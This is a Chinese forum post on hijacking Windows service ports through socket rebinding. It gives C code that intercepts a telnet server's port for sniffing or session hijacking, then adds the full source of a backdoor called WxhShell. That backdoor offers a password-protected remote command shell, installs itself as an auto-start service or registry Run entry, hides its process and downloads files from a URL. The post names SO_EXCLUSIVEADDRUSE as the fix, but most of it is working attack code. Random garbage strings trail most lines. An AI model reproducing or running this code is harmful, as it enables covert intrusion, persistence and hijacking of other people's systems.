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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H r?G_L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jdQ`Y+BC  
-,Cx|Nl  
  saddr.sin_family = AF_INET; 9_[TYzpB!  
}6.R.*Imz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X>2_G ol!  
B;[{7J]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?ltTJ(Po  
OwV>`BIwns  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ex7zg!  
l]inG^s  
  这意味着什么?意味着可以进行如下的攻击: 33|>u+  
XodA(73`i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mq$'\c 9.  
`h_,I R<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t>f<4~%MJ  
}N(-e$88  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E"bYl3  
m v%fX2.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lz@fXaZM  
pj&vnX6O^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B:)9hF?o@  
fLL_{o0T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hv(0<k6oH  
?`Qw=8]`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |Y"q. n77  
 Ek(. ["  
  #include FGu:8`c9  
  #include VdQ}G!d  
  #include +4f>njARIb  
  #include    Bvzl* &?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q$e2x=?  
  int main() LU~U>  
  { {NXc<0a(  
  WORD wVersionRequested; 6ND,4'6  
  DWORD ret; 7kO5hlKeo  
  WSADATA wsaData; Ev%4}GwO4  
  BOOL val; 5Tluxt71  
  SOCKADDR_IN saddr; g e:UliHJ  
  SOCKADDR_IN scaddr; 5i7,s  
  int err; e~=fo#*2?@  
  SOCKET s; q.FgX  
  SOCKET sc; T j9;".  
  int caddsize; ct=|y(_  
  HANDLE mt; 7(^<Z5@  
  DWORD tid;   H7?C>+ay  
  wVersionRequested = MAKEWORD( 2, 2 ); T{d7,.:  
  err = WSAStartup( wVersionRequested, &wsaData ); $-YS\R\9x  
  if ( err != 0 ) { v5i[jM8  
  printf("error!WSAStartup failed!\n"); FiJJe  
  return -1; _,_>B8  
  } XWZ *{/u  
  saddr.sin_family = AF_INET; "2(lgxhj  
   bEP-I5j1t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 23@e?A=C  
AJ`b- $Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e*jt(p[Ge  
  saddr.sin_port = htons(23); NmYSk6kWJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CUfD[un2D  
  { z6S N  
  printf("error!socket failed!\n"); E.Xf b"]  
  return -1; EC$wi|i  
  } bVSa}&*kM  
  val = TRUE; E8J `7sa  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +Tc<|-qQn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OsPx-|f S~  
  { $Ll]h</Z  
  printf("error!setsockopt failed!\n"); e5maZ(.;F  
  return -1; ,,S5 8\x  
  } 'W usEME  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I \zM\^S>]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7g}4gX's  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `YAqR?Xj_<  
%50}oD@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j!GJ$yd=-6  
  { a{^[<  
  ret=GetLastError(); HiCNs;t  
  printf("error!bind failed!\n"); o{pQDI {R  
  return -1; 96T.xT>&  
  } HE(|x 1C)j  
  listen(s,2); ]S<eO6z  
  while(1) wQWokpP;T7  
  { [5,aBf) X  
  caddsize = sizeof(scaddr); > xkl7D  
  //接受连接请求 1s8v E f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5t#+UR  
  if(sc!=INVALID_SOCKET) i%+cPQ^o  
  { 9V`/zq?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1VL!0H  
  if(mt==NULL) ~'KymarPU  
  { SdBv?`u|g  
  printf("Thread Creat Failed!\n"); D oX!P|*  
  break; [ \ LA  
  } f;`pj`-k%  
  } zm) ]cq  
  CloseHandle(mt); .x5Y fe  
  } &!]$#  
  closesocket(s); ^qs=fF  
  WSACleanup(); )Q9m,/F  
  return 0; DvHcT] l>5  
  }   ^;@q^b)ZP  
  DWORD WINAPI ClientThread(LPVOID lpParam) m]} E0  
  { K,bv\j;f  
  SOCKET ss = (SOCKET)lpParam; v~e@:7d i  
  SOCKET sc; j*n Z   
  unsigned char buf[4096]; nx`!BNL'V  
  SOCKADDR_IN saddr; ]#P9.c_}  
  long num; /R^Moj<  
  DWORD val; H!Z=}>TN  
  DWORD ret; _7#Ng@#\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]3wg-p+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sufidi  
  saddr.sin_family = AF_INET; ?r0#{x~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -;&aU;k  
  saddr.sin_port = htons(23); $D +6=m[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w'z ?1M(*  
  { #y%bx<A  
  printf("error!socket failed!\n"); Q( .d!CQ>  
  return -1; ~[d U%I>L^  
  } 2Un~ Iy  
  val = 100; Kj,C 9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h!ZEZ|{  
  { EGL1[7It`  
  ret = GetLastError(); Da*=uW9  
  return -1; /2pf*\u  
  } 0"7 xCx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e^Q$Tog<  
  { exrsYo!%  
  ret = GetLastError(); - FV$Sne  
  return -1; IJ2]2FI  
  } tp<uN~rTgh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jm0J)Z_"nr  
  { *#-X0}'s  
  printf("error!socket connect failed!\n"); RX8$&z  
  closesocket(sc); l_GvdD  
  closesocket(ss); dOh'9kk3  
  return -1; jOj`S%7  
  } 7yo/ sb9h  
  while(1) &M(=#pq9  
  { l:mC'aR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 90L,.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3IQ)%EN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0KO_bF#EB=  
  num = recv(ss,buf,4096,0); q+f]E&':  
  if(num>0) lMz5))Rr  
  send(sc,buf,num,0); rTYDa3  
  else if(num==0) sc'QNhrW  
  break; QLrFAV  
  num = recv(sc,buf,4096,0); Wc [@,  
  if(num>0) 4of3#M  
  send(ss,buf,num,0); Ac;rMwXk#  
  else if(num==0) c;c'E&9P]  
  break; R+k-mbvnt  
  }  /B)ZB})z  
  closesocket(ss); H6(kxpOI\  
  closesocket(sc); s8Kf$E^?e.  
  return 0 ; 'b#RfF,7H}  
  } 7|LJwXQ-  
qa wb9Iud0  
XlIRedZ{  
========================================================== .r[b!o^VR  
P.Pw .[:3  
下边附上一个代码,,WXhSHELL =KqcWN3k  
uqwB`<>KJ  
========================================================== fmZ5rmw!  
\U;4 \  
#include "stdafx.h" 7sKN`  
$s<,xY 9  
#include <stdio.h> &}wr N(?w  
#include <string.h> J.Mj76\_  
#include <windows.h> S o; ;  
#include <winsock2.h> `l,=iy$  
#include <winsvc.h> 6}^0/ 76^,  
#include <urlmon.h> d2lOx|jt  
4<._)_m  
#pragma comment (lib, "Ws2_32.lib") b);Pw"_2  
#pragma comment (lib, "urlmon.lib") RaT(^b(  
n B4)%  
#define MAX_USER   100 // 最大客户端连接数 Y,EReamp  
#define BUF_SOCK   200 // sock buffer dd1m~Gm  
#define KEY_BUFF   255 // 输入 buffer W$LaXytmak  
U;Z6o1G  
#define REBOOT     0   // 重启 dK'?<w$  
#define SHUTDOWN   1   // 关机 V&`\ s5Q  
RN\4y{@  
#define DEF_PORT   5000 // 监听端口 54~`8f  
4]9+   
#define REG_LEN     16   // 注册表键长度 nB"r<?n<  
#define SVC_LEN     80   // NT服务名长度 ]jiM  
YVt#( jl  
// 从dll定义API @s!9 T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kn3qq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {N1Ss|6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hZ2!UW4'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f1MKYM%^x  
>B(%$jG Z  
// wxhshell配置信息 "3o{@TdU  
struct WSCFG { 2?YN8 n9n  
  int ws_port;         // 监听端口 N^7Qn*qt[  
  char ws_passstr[REG_LEN]; // 口令 &No6k~T0:b  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~$XbYR-  
  char ws_regname[REG_LEN]; // 注册表键名 N %N %  
  char ws_svcname[REG_LEN]; // 服务名 f!hQ"1[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sx)b~*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $3>k/*=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DpjiE/*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }[ LME Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z-fP #.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [uK*=K/v  
z`UL)W  
}; e3w4@V`  
=ic"K6mhq  
// default Wxhshell configuration KrE:ilm#^Y  
struct WSCFG wscfg={DEF_PORT, @ hH;d\W#  
    "xuhuanlingzhe", 2[f8"'lUQ  
    1, gTWl];xja  
    "Wxhshell", MMg"G6?  
    "Wxhshell", [of{~  
            "WxhShell Service", \Z9+U:n  
    "Wrsky Windows CmdShell Service", GJz d4kj  
    "Please Input Your Password: ", Z$!>hiz2  
  1, B:S/ ?v  
  "http://www.wrsky.com/wxhshell.exe", BwtjTwd  
  "Wxhshell.exe" ucP}( $  
    }; &LM@_P"T  
,l`4)@{G  
// 消息定义模块 x95[*[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t mAj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N,U<.{T=A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bM7y}P5`1  
char *msg_ws_ext="\n\rExit."; o C0K!{R*  
char *msg_ws_end="\n\rQuit."; m<L.H33'  
char *msg_ws_boot="\n\rReboot..."; rT$J0"*=  
char *msg_ws_poff="\n\rShutdown..."; =9$hZ c  
char *msg_ws_down="\n\rSave to "; 2w)[1s[  
p12'^i |  
char *msg_ws_err="\n\rErr!"; `Wq4k>J}*  
char *msg_ws_ok="\n\rOK!"; r0kJx$f  
:*|%g  
char ExeFile[MAX_PATH]; @+II@[ _lT  
int nUser = 0; x +Vp&  
HANDLE handles[MAX_USER]; gN#&Ag<?  
int OsIsNt; w$I<WS{J:Z  
E>|[@Z  
SERVICE_STATUS       serviceStatus; ]q@/:I9]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4AdZN5  
~lO^ C  
// 函数声明 y<r7_ysi  
int Install(void); 6 ,jp-`  
int Uninstall(void); u,AZMjlF  
int DownloadFile(char *sURL, SOCKET wsh); oE:9}]N_  
int Boot(int flag); [ySO  
void HideProc(void); N&g9z{m7  
int GetOsVer(void); 9x;CJhX  
int Wxhshell(SOCKET wsl); !14aw9Q  
void TalkWithClient(void *cs); EfA*w/y  
int CmdShell(SOCKET sock); dx['7l;I  
int StartFromService(void); R'R LF =  
int StartWxhshell(LPSTR lpCmdLine); Hq9yu*!u  
0}:- t^P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;Zfglid  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4+&4  
bxX[$q  
// 数据结构和表定义 &w\E*$  
SERVICE_TABLE_ENTRY DispatchTable[] = mqL&bmT  
{ iW.4'9   
{wscfg.ws_svcname, NTServiceMain}, LASR*  
{NULL, NULL} .)Xyz d  
}; Vk%[N>  
I| j Gu9G  
// 自我安装 q{D_p[q  
int Install(void) b0W~*s [4  
{ `I*W}5  
  char svExeFile[MAX_PATH]; i}SJ   
  HKEY key; DY2r6bcn`  
  strcpy(svExeFile,ExeFile); E?%SOU<  
.xJW=G{/  
// 如果是win9x系统,修改注册表设为自启动 qMy>: ,)Z  
if(!OsIsNt) { vbT"}+^Sh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &t .9^;(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?VC[%sjwn  
  RegCloseKey(key); >y&Db  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gG"W~O)yv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xWkCP2$?P  
  RegCloseKey(key); >E*j4gg  
  return 0; -h=K]Y{`  
    } T)%34gN  
  } E"LSM]^^<f  
} 3Z?"M  
else { :N!Fe7H,  
Y1 e>P  
// 如果是NT以上系统,安装为系统服务 !uaV6K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6ww4ZH?j  
if (schSCManager!=0) aLr\Uq,83  
{ .hI3Uv8[  
  SC_HANDLE schService = CreateService z?o1 6o-:  
  ( r$3{1HXc  
  schSCManager, nNbOq[  
  wscfg.ws_svcname, RmXC ^VQ  
  wscfg.ws_svcdisp, 7WZ).,qxY  
  SERVICE_ALL_ACCESS, d=<"sHO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lwS6"2q  
  SERVICE_AUTO_START, J:s^F n  
  SERVICE_ERROR_NORMAL, :e9}k5kdk  
  svExeFile, tK9_]663  
  NULL, CXC,@T  
  NULL, AhjK*nJF  
  NULL, 7.hgne'<  
  NULL, /?<tjK' "H  
  NULL ?.E ixGzI^  
  ); Gb)!]:8  
  if (schService!=0) US8pT|/  
  { M4hzf  
  CloseServiceHandle(schService); r{DR$jD  
  CloseServiceHandle(schSCManager); 8m? 9?OV5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eK_Q>;k5A  
  strcat(svExeFile,wscfg.ws_svcname); lMpjE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c%2C\UB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B8Ob~?  
  RegCloseKey(key); }e}J6 [wP  
  return 0; G$X+g{  
    } foh>8/AL/  
  } &,?bX])  
  CloseServiceHandle(schSCManager); f{ZOH<"Lo  
} 4;G:.k!K  
} tvNh@it:F  
0Q@ &z  
return 1; ^[]G sF  
} EL_rh TWw  
i <KWFF#  
// 自我卸载 <]f ru1  
int Uninstall(void) dB{o-R  
{ #$h~QBg  
  HKEY key; &Nf10%J'<  
*5( h,s3&  
if(!OsIsNt) { /mMRV:pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N[$bP)h7  
  RegDeleteValue(key,wscfg.ws_regname); 5LVhq[}mP  
  RegCloseKey(key); d*7nz=0&$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L<HJ!  
  RegDeleteValue(key,wscfg.ws_regname); )vH6N_  
  RegCloseKey(key); PoyY}Ra  
  return 0; " P A:  
  } ;{Cr+lqTJ  
} r:h\{ DVf  
} j=U [V&T  
else { Q;p?.GI?-  
Wn*>h'R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +5n,/YjS`  
if (schSCManager!=0) 2qEm,x'S  
{ :1Jg;G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j^DoILw  
  if (schService!=0) %'2DEt??  
  { j{)_&|^{  
  if(DeleteService(schService)!=0) { #X&`gDW  
  CloseServiceHandle(schService); .h)o\6Wq  
  CloseServiceHandle(schSCManager); uyr56  
  return 0; 0cV=>|b>;  
  } gg ;&a(  
  CloseServiceHandle(schService); 2z/qbzG7  
  } S1 22. I  
  CloseServiceHandle(schSCManager); `% sKF  
} (n'Mf  
} ?-^eI!  
20[_eu)  
return 1; GX4HW \>a  
} )4oTA@wR  
jYAD9v%  
// 从指定url下载文件 KiXXlaOs  
int DownloadFile(char *sURL, SOCKET wsh) _YVp$aKDR  
{ #K A,=J  
  HRESULT hr; c"X`OB  
char seps[]= "/"; 5mNd5IM  
char *token; u<`CkYT  
char *file; ?C#=Q6  
char myURL[MAX_PATH]; Q v/}WnBk  
char myFILE[MAX_PATH]; 8 VMe#41  
d! 0p^!3  
strcpy(myURL,sURL); Xy{\>}i]N  
  token=strtok(myURL,seps); ><o dBM-  
  while(token!=NULL) j6wdqa9!~  
  { ZJev_mj  
    file=token; P;R`22\3  
  token=strtok(NULL,seps); _8$arjx=  
  } }eA2y($N  
~9.0:Fm<  
GetCurrentDirectory(MAX_PATH,myFILE); HorFQ?8  
strcat(myFILE, "\\"); C[h"w'A2  
strcat(myFILE, file); (<f`}, QxD  
  send(wsh,myFILE,strlen(myFILE),0); Y`@:L'j  
send(wsh,"...",3,0); <u\j 4<p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jOs&E^">&B  
  if(hr==S_OK) B4k ~~;|  
return 0; `9;:mR $  
else ^6=y4t=%F  
return 1; Y*-#yG9  
SH# -3&$[  
} 8r@_b  
<uUHr,#  
// 系统电源模块 wfH#E2+pk  
int Boot(int flag)  6C6<,c   
{ d` > '<  
  HANDLE hToken; D$|@: mW  
  TOKEN_PRIVILEGES tkp; aiP.\`>}  
-eH5s3:A  
  if(OsIsNt) { OZ2gIK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n_[;2XQQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d+ P<nI/|  
    tkp.PrivilegeCount = 1; s)HLFdis@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V4]t=3>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gzS6{570  
if(flag==REBOOT) { ?[#nh@mI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  5VWyc9Q  
  return 0; Q/EHvb]  
} Y<lJj"G  
else { [R$iX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G }B)bM2  
  return 0; aw z(W >  
} s!* m^zx  
  } |l)z^V!  
  else { Y%AVC9(  
if(flag==REBOOT) { &S/@i|_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?kfLOJQ:I  
  return 0; wO6 D\#  
} @BbqYX  
else { 8PQKB*<dB"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) APydZ  
  return 0; +C4UM9  
} 2H7b2%  
} #l kv&.)x  
IbFS8 *a\  
return 1; JQCQpn/  
} H+UA  
-%8*>%  
// win9x进程隐藏模块 ^m ^4LDt  
void HideProc(void) 9V5}%4k%+  
{ kk6Af\NZ  
15NeC7GAh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rr/0pa$  
  if ( hKernel != NULL ) iYwzdW1  
  { p*F.WxB)4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DEj6 ky  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @LQe[`  
    FreeLibrary(hKernel); !zc?o?~z  
  } ~I'1\1  
{OA2';3  
return; ~\;s}Fv.  
} JDi\?m d.  
L\1&$|?  
// 获取操作系统版本 u-yVc*<,  
int GetOsVer(void) R(jp  
{ b^WTX  
  OSVERSIONINFO winfo; Bf {h\>q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /DxaKZ ;b  
  GetVersionEx(&winfo); s,&tD WU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sFh mp  
  return 1; .UJp#/EHs  
  else v<+5B5"1  
  return 0; 8t4o}3>  
} rVo0H.+N)`  
=1qM`M   
// 客户端句柄模块 6Z2a5zO8  
int Wxhshell(SOCKET wsl) 5Q $6~\  
{ PtR8m=O  
  SOCKET wsh; !% 'dyj  
  struct sockaddr_in client; vUtA@  
  DWORD myID; lOk'stLNa&  
-?T:> *]p  
  while(nUser<MAX_USER) v/NkG;NWM  
{ >93I|C|  
  int nSize=sizeof(client); X8l|^ [2F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rn(6Fk?   
  if(wsh==INVALID_SOCKET) return 1; BO6u<cu"-  
j5eX?bi_v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /r Q4JoR>  
if(handles[nUser]==0) 1|U8DK  
  closesocket(wsh); ~!bA<q  
else ' 3h"Ol{b  
  nUser++; /XfE6SBz  
  } rd#O ]   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /)Ga<  
pAZD>15l"  
  return 0; M$@Donx  
} d~ m,hCTe  
(c^ZFh2]  
// 关闭 socket 9Tju+KcK  
void CloseIt(SOCKET wsh) /EW1&  
{ $F^p5EXkc6  
closesocket(wsh); H_ecb;|mP  
nUser--; ix.I)  
ExitThread(0); |2ttdc.  
} 6;JlA})  
j>D[iHrH  
// 客户端请求句柄 2D`_!OG=  
void TalkWithClient(void *cs) j,:vK  
{ B)^uGS W  
-pb>=@Yq  
  SOCKET wsh=(SOCKET)cs; o3=2`BvJ  
  char pwd[SVC_LEN]; 1MVzu7  
  char cmd[KEY_BUFF]; ^p@ #  
char chr[1]; 8ux?K5_  
int i,j; 1$A7BP  
5;:P^[cH9  
  while (nUser < MAX_USER) { eyUhM jd  
d5 U?*   
if(wscfg.ws_passstr) { T~&9/%$F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AEUXdMo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OE{PP9 eh  
  //ZeroMemory(pwd,KEY_BUFF); Vdpvo;4uy  
      i=0; `Z)]mH\X  
  while(i<SVC_LEN) { ,lsoxl  
zQPQP`  
  // 设置超时 f`^\v  
  fd_set FdRead; e\Igc.  
  struct timeval TimeOut; LBCat=d<  
  FD_ZERO(&FdRead); *_Sx^`"X`l  
  FD_SET(wsh,&FdRead); N,oN3mFF  
  TimeOut.tv_sec=8; O4l]Q  
  TimeOut.tv_usec=0; ysHmi{V~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OVy ZyZ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {y>o6OTITR  
.+.BNS   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dc]D 8KX  
  pwd=chr[0]; ,p3moD 3  
  if(chr[0]==0xd || chr[0]==0xa) { cz{5-;$9Z  
  pwd=0; TmH'_t.*T~  
  break; y,YK Mc  
  } i,3[0*ge  
  i++; J/-&Fa\(  
    } Zo12F**{  
2Pa Rbh{"  
  // 如果是非法用户,关闭 socket *F_ dP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8D)I~0\  
} 6/4?x)l3-  
q-k~L\Ys  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rzk]{W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); udld[f.  
px7<;(I  
while(1) { 4fuK pLA  
7UVhyrl  
  ZeroMemory(cmd,KEY_BUFF); #<4/ *< 5  
GM{J3O=  
      // 自动支持客户端 telnet标准   FxK2 1  
  j=0; S8S<>W  
  while(j<KEY_BUFF) {  ,xhB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  o(q][:,h  
  cmd[j]=chr[0]; li`4&<WGC  
  if(chr[0]==0xa || chr[0]==0xd) { ` 6'dhB  
  cmd[j]=0; 7y/Pch  
  break; VK~ OL  
  } "&@v[O)!xu  
  j++; &OXnZT3P  
    } )9PP3"I  
N.l\2S}  
  // 下载文件 5VLJ:I?0O  
  if(strstr(cmd,"http://")) { u`j9m @`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8B|qNf `Yi  
  if(DownloadFile(cmd,wsh)) sy s6 V?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O=A(x m#  
  else %XU V[L}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+6%Mu}o  
  } `H#G/zOr  
  else { ~8htg8CZ`  
FlqE!6[[  
    switch(cmd[0]) { Y*KHr`\C4  
  3P&K<M#\  
  // 帮助 8'n xc#&  
  case '?': { DjK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PrZs@ Y  
    break; 5PCMxjon  
  } L FncY(b  
  // 安装 q|r/%[[!o  
  case 'i': { Fh3>y2 `/  
    if(Install()) D{Rk9MKkE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&`S$1 o  
    else m:sT)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p2\mPFxEP  
    break; FK:Tni  
    } j)vfI>  
  // 卸载 1~|o@CO  
  case 'r': { 8}A+{xVp8  
    if(Uninstall()) O0i)Iu(J7;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FFvF4]|L  
    else QL{^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BB)( #yoi  
    break; |Qa[N(  
    } <q dM  
  // 显示 wxhshell 所在路径 {dk%j~w8  
  case 'p': { Pv>W`/*_,s  
    char svExeFile[MAX_PATH]; $QbaPmHW  
    strcpy(svExeFile,"\n\r"); zdh&,!] F6  
      strcat(svExeFile,ExeFile); "j<l=l!  
        send(wsh,svExeFile,strlen(svExeFile),0); ahnQq9  
    break; \A ?B{*  
    } O:hCUr  
  // 重启 RqenPM k  
  case 'b': { /3>5ex>PN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]'%Z&1 w  
    if(Boot(REBOOT)) b-Q%c xJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /xu#ZZ?8F_  
    else { 1X7tN2tQ  
    closesocket(wsh); 7: cmBkXm  
    ExitThread(0); th 9I]g^=t  
    } g`69 0  
    break; ~dpU D F  
    } 7w_cKR1;  
  // 关机 bL)7 /E  
  case 'd': { !}[,ODJ4 d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ 7WWoy  
